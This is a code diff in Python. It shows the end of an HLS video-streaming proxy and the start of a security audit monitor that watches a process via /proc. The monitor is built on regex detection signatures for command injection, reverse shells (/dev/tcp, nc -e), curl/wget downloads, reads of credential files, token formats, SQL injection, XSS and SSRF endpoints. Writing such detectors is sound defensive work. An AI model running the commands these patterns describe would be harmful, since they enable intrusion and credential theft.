if len(parts) >= 4 and parts[3] == 'master.m3u8':
|
||||
name = urllib.parse.unquote(parts[2])
|
||||
urls = _load_channel_urls()
|
||||
if name in urls:
|
||||
url = urls[name]
|
||||
q = query
|
||||
if q:
|
||||
url += ('&' if '?' in url else '?') + q
|
||||
jar = _get_jar(urlparse(url).netloc)
|
||||
body, st, ct = fetch_url(url, cookie_jar=jar)
|
||||
if st == 200:
|
||||
with _stats_lock:
|
||||
_stats['manifests'] += 1
|
||||
rw = rewrite_manifest(body.decode('utf-8', 'replace'), url)
|
||||
self._ok('application/vnd.apple.mpegurl', rw.encode())
|
||||
else:
|
||||
self._err(502, f"Upstream {st}")
|
||||
else:
|
||||
self._err(404, "Channel not found")
|
||||
else:
|
||||
self._err(400, "Bad channel path")
|
||||
|
||||
def _handle_manifest(self, path, query):
|
||||
target = _from_proxy(path[3:])
|
||||
referer = _get_referer(query)
|
||||
jar = _get_jar(urlparse(target).netloc)
|
||||
body, st, ct = fetch_url(target, cookie_jar=jar, referer=referer)
|
||||
if st == 200:
|
||||
with _stats_lock:
|
||||
_stats['manifests'] += 1
|
||||
rw = rewrite_manifest(body.decode('utf-8', 'replace'), target)
|
||||
self._ok('application/vnd.apple.mpegurl', rw.encode())
|
||||
else:
|
||||
self._err(502, f"Upstream {st}")
|
||||
|
||||
def _handle_segment(self, path, query):
|
||||
target = _from_proxy(path[3:])
|
||||
if target.startswith('data:'):
|
||||
cp = target.find(',')
|
||||
if cp >= 0:
|
||||
meta, payload = target[5:cp], target[cp + 1:]
|
||||
b = base64.b64decode(payload) if 'base64' in meta else urllib.parse.unquote_to_bytes(payload)
|
||||
self._ok('application/octet-stream', b)
|
||||
return
|
||||
referer = _get_referer(query)
|
||||
jar = _get_jar(urlparse(target).netloc)
|
||||
headers = {'User-Agent': UA}
|
||||
if referer:
|
||||
headers['Referer'] = referer
|
||||
opener = _get_opener(jar)
|
||||
req = urllib.request.Request(target, headers=headers)
|
||||
try:
|
||||
with opener.open(req, timeout=30) as resp:
|
||||
ct = resp.headers.get('Content-Type', 'application/octet-stream')
|
||||
content_length = resp.headers.get('Content-Length')
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', ct)
|
||||
if content_length:
|
||||
self.send_header('Content-Length', content_length)
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.end_headers()
|
||||
total_sent = 0
|
||||
while True:
|
||||
chunk = resp.read(SEGMENT_STREAM_BUF)
|
||||
if not chunk:
|
||||
break
|
||||
try:
|
||||
self.wfile.write(chunk)
|
||||
total_sent += len(chunk)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
break
|
||||
with _stats_lock:
|
||||
_stats['segments'] += 1
|
||||
_stats['bytes_sent'] += total_sent
|
||||
except urllib.error.HTTPError as e:
|
||||
self._err(502, f'Upstream {e.code}')
|
||||
except (urllib.error.URLError, OSError) as e:
|
||||
self._err(502, f'Fetch error: {type(e).__name__}')
|
||||
except Exception as e:
|
||||
try:
|
||||
self._err(502, str(e))
|
||||
except:
|
||||
pass
|
||||
|
||||
def _ok(self, ct, body):
|
||||
try:
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', ct)
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
with _stats_lock:
|
||||
_stats['bytes_sent'] += len(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
def _err(self, code, msg):
|
||||
try:
|
||||
self.send_response(code)
|
||||
self.send_header('Content-Type', 'text/plain')
|
||||
body = msg.encode()
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
|
||||
def log_message(self, *a):
|
||||
pass
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
BaseHTTPRequestHandler.handle(self)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError, ValueError):
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Server with bounded thread pool
|
||||
class BoundedThreadedServer(ThreadingMixIn, HTTPServer):
|
||||
daemon_threads = True
|
||||
allow_reuse_address = True
|
||||
request_queue_size = 128
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
self._thread_pool = ThreadPoolExecutor(max_workers=MAX_THREAD_POOL)
|
||||
|
||||
def process_request(self, request, client_address):
|
||||
self._thread_pool.submit(self._process_request_thread, request, client_address)
|
||||
|
||||
def _process_request_thread(self, request, client_address):
|
||||
try:
|
||||
self.finish_request(request, client_address)
|
||||
except Exception:
|
||||
self.handle_error(request, client_address)
|
||||
finally:
|
||||
self.shutdown_request(request)
|
||||
|
||||
def handle_error(self, request, client_address):
|
||||
pass
|
||||
|
||||
# Periodic maintenance
|
||||
def _maintenance_loop():
|
||||
while True:
|
||||
time.sleep(GC_INTERVAL_SEC)
|
||||
collected = gc.collect()
|
||||
_evict_stale_sessions()
|
||||
pid = os.getpid()
|
||||
rss = _get_rss_kb(pid)
|
||||
with _stats_lock:
|
||||
s = dict(_stats)
|
||||
log(f"STATS: rss={rss}KB reqs={s['requests']} manifests={s['manifests']} "
|
||||
f"segments={s['segments']} bytes={s['bytes_sent']//1024//1024}MB "
|
||||
f"errors={s['errors']} sessions={len(_sessions)} openers={len(_opener_cache)} "
|
||||
f"gc_collected={collected}")
|
||||
|
||||
def _get_rss_kb(pid):
|
||||
try:
|
||||
with open(f'/proc/{pid}/status') as f:
|
||||
for line in f:
|
||||
if line.startswith('VmRSS:'):
|
||||
return int(line.split()[1])
|
||||
except:
|
||||
return 0
|
||||
|
||||
def log(msg):
|
||||
sys.stderr.write(f"[{time.strftime('%H:%M:%S')}] {msg}\n")
|
||||
sys.stderr.flush()
|
||||
|
||||
# Main
|
||||
if __name__ == '__main__':
|
||||
# FIX: was hardcoded, now accepts CLI arguments
|
||||
parser = argparse.ArgumentParser(description='HLS Proxy for o11pro (memory-leak fixed)')
|
||||
parser.add_argument('--config', default=CONFIG_FILE,
|
||||
help=f'Path to channel URLs JSON (default: {CONFIG_FILE})')
|
||||
parser.add_argument('--port', type=int, default=PROXY_PORT,
|
||||
help=f'Proxy listen port (default: {PROXY_PORT})')
|
||||
parser.add_argument('--bind', default=PROXY_BIND,
|
||||
help=f'Proxy bind address (default: {PROXY_BIND})')
|
||||
args = parser.parse_args()
|
||||
|
||||
CONFIG_FILE = args.config
|
||||
PROXY_PORT = args.port
|
||||
PROXY_BIND = args.bind
|
||||
|
||||
_load_channel_urls()
|
||||
assert _compiled_uri_re is not None
|
||||
|
||||
maint = threading.Thread(target=_maintenance_loop, daemon=True)
|
||||
maint.start()
|
||||
|
||||
print(f"HLS Proxy on {PROXY_BIND}:{PROXY_PORT} (memory-optimized)", flush=True)
|
||||
print(f" Config: {CONFIG_FILE}", flush=True)
|
||||
print(f" Channels: {len(_channel_urls)}", flush=True)
|
||||
print(f" Thread pool: {MAX_THREAD_POOL} workers", flush=True)
|
||||
print(f" Cookie limit: {MAX_COOKIES_PER_JAR}/jar", flush=True)
|
||||
print(f" Streaming buffer: {SEGMENT_STREAM_BUF} bytes", flush=True)
|
||||
print(f" GC interval: {GC_INTERVAL_SEC}s", flush=True)
|
||||
print(f"", flush=True)
|
||||
print(f" Routes:", flush=True)
|
||||
print(f" /channel/{{name}}/master.m3u8 - Channel master manifest", flush=True)
|
||||
print(f" /m/{{b64_url}} - Manifest fetch+rewrite", flush=True)
|
||||
print(f" /s/{{b64_url}} - Segment stream", flush=True)
|
||||
|
||||
server = BoundedThreadedServer((PROXY_BIND, PROXY_PORT), RobustHandler)
|
||||
try:
|
||||
server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
print("\nShutting down...")
|
||||
server.shutdown()
|
||||
@@ -0,0 +1,882 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import time
|
||||
import json
|
||||
import socket
|
||||
import struct
|
||||
import signal
|
||||
import argparse
|
||||
import threading
|
||||
import subprocess
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from collections import defaultdict, deque
|
||||
import http.client
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
from socketserver import ThreadingMixIn
|
||||
|
||||
VERSION = "1.0.0"
|
||||
DEFAULT_PID_FILE = "/tmp/o11_pid"
|
||||
DEFAULT_AUDIT_LOG = "audit.log"
|
||||
DEFAULT_ALERT_LOG = "audit_alerts.log"
|
||||
DEFAULT_PROXY_PORT = 19998
|
||||
SCAN_INTERVAL = 2.0
|
||||
EXFIL_THRESHOLD = 100 * 1024 * 1024
|
||||
MAX_LOG_SIZE = 100 * 1024 * 1024
|
||||
MAX_LOG_FILES = 5
|
||||
|
||||
ATTACK_SIGNATURES = {
|
||||
"command_injection": [
|
||||
# Shell metacharacters
|
||||
(r'[;|&`$\(\)]', "shell metacharacter"),
|
||||
(r'\$\([^)]*\)', "command substitution $()"),
|
||||
(r'`[^`]*`', "backtick command substitution"),
|
||||
(r'\|\s*(sh|bash|nc|ncat|python|perl|ruby)\b', "pipe to interpreter"),
|
||||
(r';\s*(sh|bash|nc|ncat|curl|wget)\b', "semicolon then shell command"),
|
||||
(r'&&\s*(sh|bash|nc|ncat|curl|wget)\b', "&& then shell command"),
|
||||
(r'\|\|\s*(sh|bash|nc|ncat|curl|wget)\b', "|| then shell command"),
|
||||
(r'\bexec\s*\(', "exec() call"),
|
||||
(r'\bsystem\s*\(', "system() call"),
|
||||
(r'\bpopen\s*\(', "popen() call"),
|
||||
(r'\beval\s*\(', "eval() call"),
|
||||
# Common injection payloads
|
||||
(r';\s*cat\s+/etc/passwd', "etc/passwd via cat"),
|
||||
(r';\s*cat\s+/etc/shadow', "etc/shadow via cat"),
|
||||
(r';\s*id\s*;', "id command injection"),
|
||||
(r';\s*whoami\s*;', "whoami command injection"),
|
||||
(r';\s*uname\s+-a', "uname command injection"),
|
||||
(r';\s*wget\s+', "wget download injection"),
|
||||
(r';\s*curl\s+', "curl download injection"),
|
||||
(r';\s*nc\s+', "netcat injection"),
|
||||
(r'/bin/sh\s+-c', "sh -c invocation"),
|
||||
(r'/bin/bash\s+-c', "bash -c invocation"),
|
||||
(r'bash\s+-i\s+>&', "reverse shell bash -i"),
|
||||
(r'/dev/tcp/', "bash /dev/tcp reverse shell"),
|
||||
(r'/dev/udp/', "bash /dev/udp"),
|
||||
(r'mkfifo\s+/tmp/', "mkfifo reverse shell setup"),
|
||||
],
|
||||
"sql_injection": [
|
||||
(r"'\s*OR\s+'?1'?\s*=\s*'?1", "OR 1=1 classic SQLi"),
|
||||
(r"'\s*OR\s+'?1'?\s*=\s*'?1'?\s*--", "OR 1=1 with comment"),
|
||||
(r"'\s*OR\s+'?1'?\s*=\s*'?1'?\s*#", "OR 1=1 with hash comment"),
|
||||
(r"'\s*OR\s+'?1'?\s*=\s*'?1'?\s*/\*", "OR 1=1 with block comment"),
|
||||
(r"\bUNION\s+SELECT\b", "UNION SELECT"),
|
||||
(r"\bUNION\s+ALL\s+SELECT\b", "UNION ALL SELECT"),
|
||||
(r"--\s*$", "SQL comment at end"),
|
||||
(r"--\s*;", "SQL comment semicolon"),
|
||||
(r"/\*.*\*/", "SQL block comment"),
|
||||
(r"\bxp_cmdshell\b", "MSSQL xp_cmdshell"),
|
||||
(r"\bsp_executesql\b", "MSSQL sp_executesql"),
|
||||
(r"\bDROP\s+TABLE\b", "DROP TABLE"),
|
||||
(r"\bDROP\s+DATABASE\b", "DROP DATABASE"),
|
||||
(r"\bINSERT\s+INTO\b", "INSERT INTO"),
|
||||
(r"\bDELETE\s+FROM\b", "DELETE FROM"),
|
||||
(r"\bUPDATE\s+.*\bSET\b", "UPDATE SET"),
|
||||
(r"\bSELECT\s+.*\bFROM\s+information_schema\b", "information_schema access"),
|
||||
(r"\bSELECT\s+.*\bFROM\s+mysql\.user\b", "mysql.user access"),
|
||||
(r"\bINTO\s+OUTFILE\b", "MySQL INTO OUTFILE"),
|
||||
(r"\bINTO\s+DUMPFILE\b", "MySQL INTO DUMPFILE"),
|
||||
(r"\bLOAD_FILE\s*\(", "MySQL LOAD_FILE"),
|
||||
(r"\bCONCAT\s*\(", "MySQL CONCAT"),
|
||||
(r"\bSLEEP\s*\(\s*\d+\s*\)", "SLEEP() time-based SQLi"),
|
||||
(r"\bBENCHMARK\s*\(", "BENCHMARK() time-based SQLi"),
|
||||
(r"\bWAITFOR\s+DELAY\b", "MSSQL WAITFOR DELAY"),
|
||||
(r"'\s*;\s*", "semicolon after quote"),
|
||||
],
|
||||
"path_traversal": [
|
||||
(r'\.\./', "../ directory traversal"),
|
||||
(r'\.\.\\', "..\\ directory traversal"),
|
||||
(r'%2e%2e%2f', "%2e%2e%2f encoded traversal"),
|
||||
(r'%2e%2e/', "%2e%2e/ encoded traversal"),
|
||||
(r'..%2f', "..%2f encoded traversal"),
|
||||
(r'..%5c', "..%5c encoded traversal"),
|
||||
(r'%2e%2e%5c', "%2e%2e%5c encoded traversal"),
|
||||
(r'\.\.%c0%af', "UTF-8 overlong traversal"),
|
||||
(r'\.\.%c1%9c', "UTF-8 overlong traversal"),
|
||||
(r'....//', "double dot slash bypass"),
|
||||
(r'....\\\\', "double dot backslash bypass"),
|
||||
(r'\x00', "null byte injection"),
|
||||
(r'%00', "encoded null byte"),
|
||||
(r'/etc/passwd', "/etc/passwd access"),
|
||||
(r'/etc/shadow', "/etc/shadow access"),
|
||||
(r'/etc/sudoers', "/etc/sudoers access"),
|
||||
(r'/root/\.', "/root/ directory access"),
|
||||
(r'/home/[^/]+/\.ssh', "SSH directory access"),
|
||||
(r'authorized_keys', "authorized_keys access"),
|
||||
(r'/proc/self/environ', "/proc/self/environ access"),
|
||||
(r'/proc/self/cmdline', "/proc/self/cmdline access"),
|
||||
],
|
||||
"xss": [
|
||||
(r'<script', "<script> tag"),
|
||||
(r'</script>', "</script> tag"),
|
||||
(r'javascript:', "javascript: protocol"),
|
||||
(r'onerror\s*=', "onerror event handler"),
|
||||
(r'onload\s*=', "onload event handler"),
|
||||
(r'onclick\s*=', "onclick event handler"),
|
||||
(r'onmouseover\s*=', "onmouseover event handler"),
|
||||
(r'onfocus\s*=', "onfocus event handler"),
|
||||
(r'onblur\s*=', "onblur event handler"),
|
||||
(r'<iframe', "<iframe> tag"),
|
||||
(r'<object', "<object> tag"),
|
||||
(r'<embed', "<embed> tag"),
|
||||
(r'<svg\s+onload', "<svg onload> XSS"),
|
||||
(r'<img\s+[^>]*onerror', "<img onerror> XSS"),
|
||||
(r'document\.cookie', "document.cookie access"),
|
||||
(r'document\.location', "document.location access"),
|
||||
(r'window\.location', "window.location access"),
|
||||
(r'eval\s*\(', "eval() XSS"),
|
||||
(r'String\.fromCharCode', "String.fromCharCode obfuscation"),
|
||||
(r'\\x[0-9a-f]{2}', "hex escape sequence"),
|
||||
],
|
||||
"ssrf": [
|
||||
(r'http://127\.0\.0\.1', "localhost HTTP access"),
|
||||
(r'http://localhost', "localhost HTTP access"),
|
||||
(r'http://0\.0\.0\.0', "0.0.0.0 HTTP access"),
|
||||
(r'http://\[::1\]', "IPv6 localhost access"),
|
||||
(r'http://169\.254\.169\.254', "AWS metadata endpoint"),
|
||||
(r'http://metadata\.google\.internal', "GCP metadata endpoint"),
|
||||
(r'http://169\.254\.169\.254/computeMetadata', "GCP metadata v1"),
|
||||
(r'http://100\.100\.100\.200', "Alibaba Cloud metadata"),
|
||||
(r'http://metadata\.azure\.com', "Azure metadata endpoint"),
|
||||
(r'file://', "file:// protocol"),
|
||||
(r'gopher://', "gopher:// protocol"),
|
||||
(r'dict://', "dict:// protocol"),
|
||||
(r'ftp://', "ftp:// protocol"),
|
||||
(r'smb://', "smb:// protocol"),
|
||||
(r'ldap://', "ldap:// protocol"),
|
||||
(r'http://10\.\d+\.\d+\.\d+', "private 10.x.x.x access"),
|
||||
(r'http://192\.168\.\d+\.\d+', "private 192.168.x.x access"),
|
||||
(r'http://172\.(1[6-9]|2[0-9]|3[01])\.', "private 172.16-31.x.x access"),
|
||||
],
|
||||
"credential_exfil": [
|
||||
(r'Bearer\s+[A-Za-z0-9._-]{20,}', "Bearer token in request"),
|
||||
(r'api[_-]?key\s*[=:]\s*["\']?[A-Za-z0-9]{16,}', "API key"),
|
||||
(r'authorization\s*:\s*bearer', "Authorization header"),
|
||||
(r'x-api-key\s*:', "X-API-Key header"),
|
||||
(r'password\s*[=:]\s*["\']?[^\s"\']{8,}', "password field"),
|
||||
(r'passwd\s*[=:]\s*["\']?[^\s"\']{8,}', "passwd field"),
|
||||
(r'secret\s*[=:]\s*["\']?[A-Za-z0-9]{16,}', "secret field"),
|
||||
(r'token\s*[=:]\s*["\']?[A-Za-z0-9]{16,}', "token field"),
|
||||
(r'jwt\s*[=:]\s*["\']?ey[A-Za-z0-9._-]+', "JWT token"),
|
||||
(r'BEGIN\s+[A-Z\s]+PRIVATE\s+KEY', "private key in traffic"),
|
||||
(r'AKIA[0-9A-Z]{16}', "AWS access key ID"),
|
||||
(r'gh[pu]_[A-Za-z0-9]{36,}', "GitHub token"),
|
||||
(r'xox[baprs]-[A-Za-z0-9-]+', "Slack token"),
|
||||
],
|
||||
"reverse_shell": [
|
||||
(r'bash\s+-i\s+>&\s*/dev/tcp/', "bash reverse shell /dev/tcp"),
|
||||
(r'sh\s+-i\s+>&\s*/dev/tcp/', "sh reverse shell /dev/tcp"),
|
||||
(r'nc\s+-e\s+/bin/', "netcat -e reverse shell"),
|
||||
(r'ncat\s+-e\s+/bin/', "ncat -e reverse shell"),
|
||||
(r'python\s+-c\s+.*socket', "python reverse shell"),
|
||||
(r'perl\s+-e\s+.*socket', "perl reverse shell"),
|
||||
(r'ruby\s+-e\s+.*socket', "ruby reverse shell"),
|
||||
(r'php\s+-r\s+.*socket', "php reverse shell"),
|
||||
(r'/dev/tcp/\d+\.\d+\.\d+\.\d+/', "/dev/tcp IP address"),
|
||||
(r'/dev/udp/\d+\.\d+\.\d+\.\d+/', "/dev/udp IP address"),
|
||||
(r'mknod\s+/tmp/', "mknod reverse shell"),
|
||||
(r'mkfifo\s+/tmp/', "mkfifo reverse shell"),
|
||||
],
|
||||
"suspicious_file_access": [
|
||||
r'/etc/passwd',
|
||||
r'/etc/shadow',
|
||||
r'/etc/sudoers',
|
||||
r'/etc/ssh/',
|
||||
r'/root/\.ssh/',
|
||||
r'/home/[^/]+/\.ssh/',
|
||||
r'authorized_keys',
|
||||
r'/proc/self/environ',
|
||||
r'/proc/self/cmdline',
|
||||
r'/proc/self/mem',
|
||||
r'/boot/grub',
|
||||
r'/var/log/auth\.log',
|
||||
r'/var/log/secure',
|
||||
r'\.bash_history',
|
||||
r'\.mysql_history',
|
||||
r'\.psql_history',
|
||||
r'/tmp/\.\w+', # hidden files in /tmp
|
||||
r'/dev/shm/[^/]', # files in /dev/shm (often used by malware)
|
||||
],
|
||||
"suspicious_process": [
|
||||
r'^/bin/sh\b',
|
||||
r'^/bin/bash\b',
|
||||
r'^sh\b',
|
||||
r'^bash\b',
|
||||
r'^nc\b',
|
||||
r'^ncat\b',
|
||||
r'^netcat\b',
|
||||
r'^telnet\b',
|
||||
r'^ssh\b',
|
||||
r'^scp\b',
|
||||
r'^curl\b',
|
||||
r'^wget\b',
|
||||
r'^python\s+-c\b',
|
||||
r'^perl\s+-e\b',
|
||||
r'^ruby\s+-e\b',
|
||||
r'^chmod\s+\+x\b',
|
||||
r'^chown\s+root\b',
|
||||
r'^kill\s+-9\b',
|
||||
r'^pkill\b',
|
||||
],
|
||||
}
|
||||
|
||||
# Suspicious outbound IPs (known bad ranges) - empty by default
|
||||
# Add specific IPs to watch for
|
||||
SUSPICIOUS_IPS = set()
|
||||
|
||||
# Expected outbound ports (everything else is suspicious)
|
||||
EXPECTED_PORTS = {80, 443, 89, 53}
|
||||
|
||||
# Expected CDN domains (whitelist for outbound connections)
|
||||
EXPECTED_DOMAINS = {
|
||||
'akamaized.net', 'akamai.net', 'rogers.com', 'nordvpn.com',
|
||||
'surfshark.com', 'movetv.com', 'sling.com', 'pcdn03.cssott.com',
|
||||
'w3.org', 'golang.org', 'github.com', 'momentjs.com',
|
||||
'netskrt.live.pv-cdn.net', 'lpnba.akamaized.net',
|
||||
'qp-pldt-live-bpk-02-prod.akamaized.net', 'g001-live-us-cmaf-prd-fy.pcdn03.cssott.com',
|
||||
'live-d-01-rogers-cc-prd.akamaized.net', 'live-d-02-rogers-uw-prd.akamaized.net',
|
||||
'p-cdn1-a-cg14-linear-cbd46b77.movetv.com',
|
||||
'p-cdn4-a-cg14-linear-cbd46b77.movetv.com',
|
||||
}
|
||||
|
||||
class AuditLogger:
|
||||
"""Thread-safe audit logger with rotation."""
|
||||
|
||||
def __init__(self, log_path, alert_path, max_size=MAX_LOG_SIZE, max_files=MAX_LOG_FILES):
|
||||
self.log_path = Path(log_path)
|
||||
self.alert_path = Path(alert_path)
|
||||
self.max_size = max_size
|
||||
self.max_files = max_files
|
||||
self.lock = threading.Lock()
|
||||
self._ensure_dir()
|
||||
|
||||
def _ensure_dir(self):
|
||||
self.log_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
self.alert_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
def _rotate(self, path):
|
||||
if not path.exists() or path.stat().st_size < self.max_size:
|
||||
return
|
||||
for i in range(self.max_files - 1, 0, -1):
|
||||
old = path.with_suffix(f'.{i}{path.suffix}')
|
||||
new = path.with_suffix(f'.{i+1}{path.suffix}')
|
||||
if old.exists():
|
||||
old.rename(new)
|
||||
path.rename(path.with_suffix(f'.1{path.suffix}'))
|
||||
|
||||
def log(self, event_type, severity, source, details, raw_data=None):
|
||||
"""Log a security event."""
|
||||
timestamp = datetime.now(timezone.utc).isoformat()
|
||||
entry = {
|
||||
"timestamp": timestamp,
|
||||
"type": event_type,
|
||||
"severity": severity, # INFO, LOW, MEDIUM, HIGH, CRITICAL
|
||||
"source": source, # http, proc, net, file, child
|
||||
"details": details,
|
||||
}
|
||||
if raw_data:
|
||||
entry["raw"] = raw_data[:1000] # cap raw data
|
||||
|
||||
line = json.dumps(entry, ensure_ascii=False)
|
||||
with self.lock:
|
||||
self._rotate(self.log_path)
|
||||
with open(self.log_path, 'a', encoding='utf-8') as f:
|
||||
f.write(line + '\n')
|
||||
# High-severity events also go to alerts log
|
||||
if severity in ('HIGH', 'CRITICAL'):
|
||||
self._rotate(self.alert_path)
|
||||
with open(self.alert_path, 'a', encoding='utf-8') as f:
|
||||
f.write(line + '\n')
|
||||
|
||||
# Print to stdout with color
|
||||
color = {
|
||||
'INFO': '\033[37m',
|
||||
'LOW': '\033[36m',
|
||||
'MEDIUM': '\033[33m',
|
||||
'HIGH': '\033[31m',
|
||||
'CRITICAL': '\033[1;31m',
|
||||
}.get(severity, '\033[0m')
|
||||
reset = '\033[0m'
|
||||
print(f"{color}[{timestamp}] {severity:8s} {event_type:25s} {source:8s}{reset} {details}")
|
||||
return entry
|
||||
|
||||
|
||||
class AttackDetector:
|
||||
"""Detect attacks in strings and URLs."""
|
||||
|
||||
def __init__(self, logger):
|
||||
self.logger = logger
|
||||
self.compiled = {}
|
||||
for category, patterns in ATTACK_SIGNATURES.items():
|
||||
compiled = []
|
||||
for p in patterns:
|
||||
if isinstance(p, tuple):
|
||||
compiled.append((re.compile(p[0], re.IGNORECASE), p[1]))
|
||||
else:
|
||||
# bare pattern (no description) used by suspicious_file_access/process
|
||||
compiled.append((re.compile(p, re.IGNORECASE), category))
|
||||
self.compiled[category] = compiled
|
||||
|
||||
def scan_string(self, text, source='http', context=''):
|
||||
"""Scan a string for attack patterns. Returns list of matches."""
|
||||
if not text:
|
||||
return []
|
||||
text_str = text if isinstance(text, str) else text.decode('utf-8', errors='replace')
|
||||
matches = []
|
||||
|
||||
for category, patterns in self.compiled.items():
|
||||
if category in ('suspicious_file_access', 'suspicious_process'):
|
||||
continue # these are handled separately
|
||||
for regex, desc in patterns:
|
||||
for m in regex.finditer(text_str):
|
||||
severity = self._severity(category)
|
||||
details = f"{desc}: matched '{m.group()[:80]}' in {context}"
|
||||
self.logger.log(f"attack_{category}", severity, source, details, text_str[:500])
|
||||
matches.append((category, desc, m.group()))
|
||||
|
||||
return matches
|
||||
|
||||
def _severity(self, category):
|
||||
severities = {
|
||||
'command_injection': 'CRITICAL',
|
||||
'sql_injection': 'HIGH',
|
||||
'path_traversal': 'HIGH',
|
||||
'xss': 'MEDIUM',
|
||||
'ssrf': 'HIGH',
|
||||
'credential_exfil': 'HIGH',
|
||||
'reverse_shell': 'CRITICAL',
|
||||
}
|
||||
return severities.get(category, 'MEDIUM')
|
||||
|
||||
def scan_url(self, url, source='http'):
|
||||
"""Scan a URL for attacks."""
|
||||
return self.scan_string(url, source, f'URL: {url[:100]}')
|
||||
|
||||
def scan_headers(self, headers, source='http'):
|
||||
"""Scan HTTP headers for attacks."""
|
||||
for key, value in headers.items():
|
||||
self.scan_string(value, source, f'header {key}')
|
||||
|
||||
def scan_body(self, body, source='http'):
|
||||
"""Scan HTTP body for attacks."""
|
||||
if isinstance(body, bytes):
|
||||
try:
|
||||
body = body.decode('utf-8', errors='replace')
|
||||
except:
|
||||
return []
|
||||
return self.scan_string(body, source, 'request body')
|
||||
|
||||
|
||||
class ProcessMonitor:
|
||||
"""Monitor a process via /proc filesystem."""
|
||||
|
||||
def __init__(self, pid, logger, detector):
|
||||
self.pid = pid
|
||||
self.logger = logger
|
||||
self.detector = detector
|
||||
self.prev_io = None
|
||||
self.prev_children = set()
|
||||
self.prev_fds = set()
|
||||
self.prev_connections = set()
|
||||
self.running = True
|
||||
|
||||
def _read_file(self, path):
|
||||
try:
|
||||
with open(path) as f:
|
||||
return f.read()
|
||||
except (FileNotFoundError, ProcessLookupError, PermissionError):
|
||||
return None
|
||||
|
||||
def _get_children(self):
|
||||
"""Get child process PIDs."""
|
||||
children = set()
|
||||
try:
|
||||
task_dirs = os.listdir(f'/proc/{self.pid}/task')
|
||||
except (FileNotFoundError, ProcessLookupError):
|
||||
return children
|
||||
for tid in task_dirs:
|
||||
content = self._read_file(f'/proc/{self.pid}/task/{tid}/children')
|
||||
if content:
|
||||
for pid_str in content.split():
|
||||
try:
|
||||
children.add(int(pid_str))
|
||||
except ValueError:
|
||||
pass
|
||||
return children
|
||||
|
||||
def _get_fds(self):
|
||||
"""Get open file descriptors."""
|
||||
fds = set()
|
||||
try:
|
||||
fd_list = os.listdir(f'/proc/{self.pid}/fd')
|
||||
except (FileNotFoundError, ProcessLookupError, PermissionError):
|
||||
return fds
|
||||
for fd in fd_list:
|
||||
try:
|
||||
link = os.readlink(f'/proc/{self.pid}/fd/{fd}')
|
||||
fds.add((fd, link))
|
||||
except (OSError, PermissionError):
|
||||
pass
|
||||
return fds
|
||||
|
||||
def _get_connections(self):
|
||||
"""Get network connections from /proc/<pid>/net/tcp and tcp6."""
|
||||
conns = set()
|
||||
for proto in ('tcp', 'tcp6'):
|
||||
content = self._read_file(f'/proc/{self.pid}/net/{proto}')
|
||||
if not content:
|
||||
continue
|
||||
for line in content.split('\n')[1:]: # skip header
|
||||
parts = line.split()
|
||||
if len(parts) < 4:
|
||||
continue
|
||||
local = parts[1]
|
||||
remote = parts[2]
|
||||
state = parts[3]
|
||||
if state != '01': # ESTABLISHED
|
||||
continue
|
||||
# Parse address:port
|
||||
try:
|
||||
if proto == 'tcp':
|
||||
# IPv4: hex IP:port
|
||||
ip_hex, port_hex = local.split(':')
|
||||
ip = socket.inet_ntoa(struct.pack('<I', int(ip_hex, 16)))
|
||||
port = int(port_hex, 16)
|
||||
r_ip_hex, r_port_hex = remote.split(':')
|
||||
r_ip = socket.inet_ntoa(struct.pack('<I', int(r_ip_hex, 16)))
|
||||
r_port = int(r_port_hex, 16)
|
||||
else:
|
||||
# IPv6: 32 hex chars : port
|
||||
ip_hex, port_hex = local.split(':')
|
||||
ip_bytes = bytes.fromhex(ip_hex)
|
||||
ip = socket.inet_ntop(socket.AF_INET6, ip_bytes)
|
||||
port = int(port_hex, 16)
|
||||
r_ip_hex, r_port_hex = remote.split(':')
|
||||
r_ip_bytes = bytes.fromhex(r_ip_hex)
|
||||
r_ip = socket.inet_ntop(socket.AF_INET6, r_ip_bytes)
|
||||
r_port = int(r_port_hex, 16)
|
||||
conns.add((r_ip, r_port, proto))
|
||||
except (ValueError, struct.error, OSError):
|
||||
pass
|
||||
return conns
|
||||
|
||||
def _get_io(self):
|
||||
"""Get process I/O stats."""
|
||||
content = self._read_file(f'/proc/{self.pid}/io')
|
||||
if not content:
|
||||
return None
|
||||
io = {}
|
||||
for line in content.split('\n'):
|
||||
if ':' in line:
|
||||
key, _, val = line.partition(':')
|
||||
try:
|
||||
io[key.strip()] = int(val.strip())
|
||||
except ValueError:
|
||||
pass
|
||||
return io
|
||||
|
||||
def _get_child_cmdline(self, child_pid):
|
||||
"""Get command line of a child process."""
|
||||
content = self._read_file(f'/proc/{child_pid}/cmdline')
|
||||
if not content:
|
||||
return ''
|
||||
return content.replace('\x00', ' ').strip()
|
||||
|
||||
def check_suspicious_files(self, fds):
|
||||
"""Check open FDs for suspicious file access."""
|
||||
for fd, link in fds:
|
||||
for pattern in ATTACK_SIGNATURES['suspicious_file_access']:
|
||||
if re.search(pattern, link, re.IGNORECASE):
|
||||
self.logger.log(
|
||||
'suspicious_file_access', 'HIGH', 'file',
|
||||
f'Process opened suspicious file: {link} (fd={fd})'
|
||||
)
|
||||
|
||||
def check_suspicious_children(self, children):
|
||||
